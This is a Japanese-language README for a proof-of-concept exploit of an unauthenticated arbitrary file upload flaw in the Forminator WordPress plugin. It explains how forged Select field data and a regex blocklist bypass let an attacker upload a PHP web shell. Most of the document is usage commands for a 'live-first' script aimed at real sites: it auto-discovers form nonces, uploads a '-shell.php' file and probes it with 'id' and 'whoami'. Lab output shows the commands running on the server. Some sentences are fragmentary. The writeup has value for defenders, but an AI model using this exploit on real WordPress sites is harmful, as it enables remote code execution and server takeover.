
Forminator Forms <= 1.56.1 - 偽造されたアップロードフィールド設定による未認証の任意ファイルアップロード
CVSS 9.8 (Critical) · 影響を受けるバージョン: Forminator <= 1.56.1 · 修正済み: 1.56.2
研究者: daroo(Wordfence バグバウンティ、$2,048)· アクティブインストール数 約60万
Writeup: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
偽造した Select フィールド値を介して連鎖する3つの弱点:
ネストされたフィールド配列に対するサニタイズなし — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() は保存された各フィールドを反復処理する。保存された Select フィールド select-1 について、
$field_data = prepared_data['select-1'](攻撃者が制御するネスト配列)。これが return を保持する場合、
その配列はフィールド単位のサニタイズ/検証が行われる前に field_data_array に丸ごと追加される(front-action.php 約1088行目)。
はこれらを除去しない。
maybe_handle_custom_option()信頼できないフィールド設定がアップロード時に信頼される — Forminator_CForm_Front_Action::process_uploads()
field_data_array を反復処理し、偽造された field_type == 'upload' を信頼し、偽造された name を使用して
$_FILES 入力を選択し、偽造された field_array を信頼済み設定として
Forminator_Upload::handle_file_upload() に渡す。
ブロックリストの完全一致キーのバイパス — forminator_allowed_mime_types() はリテラルキー php を除去するが、
wp_check_filetype() はキーを正規表現として扱う。キー ph(p) はブロックリストをすり抜けつつ .php サフィックスに一致する。
additional-type = ph(p)|text/x-php により .php ファイルが検証を通過できる。
公開済みフォームにファイルアップロードフィールドと Select フィールドの両方が含まれている必要がある。Select は単なるキャリアにすぎない。
.php のディスクへのアップロードはデフォルトで成功する(書き込みに特別な設定は不要)。.htaccess がないことが必要。 デフォルトの Forminator ルートもカスタムルートも、PHP をブロックする .htaccess(SetHandler none / RemoveHandler)が配置される。RCE が発動するのはその .htaccess が存在しない場合のみ — 記事にある「insert_with_markers() が読み込まれていないフロントエンドリクエスト中に作成されたカスタムストレージルート」というシナリオ。.htaccess なしの状態をシミュレートして RCE を達成した。wp-content/uploads/forminator/ → ファイルは
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file> に配置される。forminator_custom_upload_root(例: cveuploads)を設定した場合、ファイルは
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file> に配置される。<hash> は wp_hash($form_id) — サイトの AUTH ソルトから導出されるため、外部からは予測できない。
poc.py はパスパターンを表示する。これを完成させるには、ハッシュを復元し(ディレクトリ一覧、既存のアップロードファイルの URL/ログ、管理画面のエントリなど)、--form-hash で指定する必要がある。wp_generate_password(12,false,false) . '-' . <元のファイル名> → 例:
cX3fRjMDDu03-shell.php(ランダムな英数字12文字 + - + 元の名前)。poc.pyライブ優先の設計。ローカルラボ用ヘルパー(ファイル FS 走査、.htaccess 削除)は
http://wordpresslab.test / http://localhost のみに限定される。
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
| Flag | 意味 |
|---|---|
--target | ベース URL(--page-id/手動指定がない場合は完全なページ URL) |
--page-id | 投稿 ID。空の場合は nonce/form_id 取得のためにターゲット URL 自体を取得する |
--form-id, --nonce | 発見処理をスキップ。--auto 収集のためページ取得は依然として行う |
--upload-field | 実際のアップロードフィールド名(デフォルト upload-1) |
--forge-name | 偽装した $_FILES キャリア(デフォルト=実際の名前、衝突モード。きれいな success=True を得るには別の名前を使用) |
--select | 使用するセレクトフィールド(デフォルト select-1) |
--extra name=value | フィールド値を強制指定(繰り返し可能。複数指定は --extra 'checkbox-1[]=a+b') |
--auto / --no-auto | HTML から実際のフォームフィールドを収集し、型に応じた妥当な値を自動入力(デフォルトは有効) |
--upload-root | 相対アップロードルート(デフォルト wp-content/uploads/forminator。カスタムルートには例: wp-content/uploads/cveuploads を指定) |
--form-hash | アップロードディレクトリの <hash> 部分 → 具体的な URL を完成/表示する |
--verify-url | ライブ: 候補シェル URL を ?c=id/?c=whoami で調査する |
--find-shell | ローカルのみ(wordpresslab.test/localhost): 最新の *-shell.php を探索し、.htaccess を削除して実行する |
--no-htaccess | ローカルラボの .htaccess 削除に関する注記を表示する |
--auto の値マッピング(フォーム HTML から収集)| フィールド型 | 生成される値 |
|---|---|
email / 名前に email を含む | auto<rand>@mailinator.com |
tel / 名前に phone を含む | ランダムな10桁の数字 |
url / 名前に url を含む | https://example.com/<rand> |
number | ランダムな1〜9999 |
date | 2026-08-19 |
チェックボックス/ラジオグループ name[] | 最初のオプション値(同名の全入力欄を走査) |
| 単一チェックボックス/ラジオ | value 属性。フォールバックは checked |
<select>(キャリア以外) | 最初の空でないオプション |
<textarea> | ランダムなテキスト |
| プレーンテキスト | ランダムな10文字 |
スキップ対象: 内部フィールド(action/form_id/nonce/...)、type="file"(upload-*)、select-*
(悪用キャリア)、calculation-*(計算値)、および他プラグインのフィールド(wpforms[...])。
セットアップ:
build_form.php、Forminator_Form_Model API で構築)。forminator_custom_upload=1、forminator_custom_upload_root=cveuploads)。
cveuploads/ はラボの成果物であり、Forminator のデフォルトではない。success=True を得るには、偽装した name を実際のアップロードフィールドの element_id と異なるものにする必要がある。名前が衝突する場合でもファイルはアップロードされるが、実際のフィールドも独自のデフォルト MIME チェックを実行するため、シェルがすでにディスク上にある状態でレスポンスはエラーを報告する。生の証跡(ラボ実行):
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)
poc.py — ライブ優先の PoC(自動発見、自動入力、verify-url、ローカル RCE ヘルパー)build_form.php — モデル API によるプログラム的なラボ用フォームビルダー(アップロード+セレクト)README.md — 本ドキュメント.htaccess/index 保護の対象であることを確認する。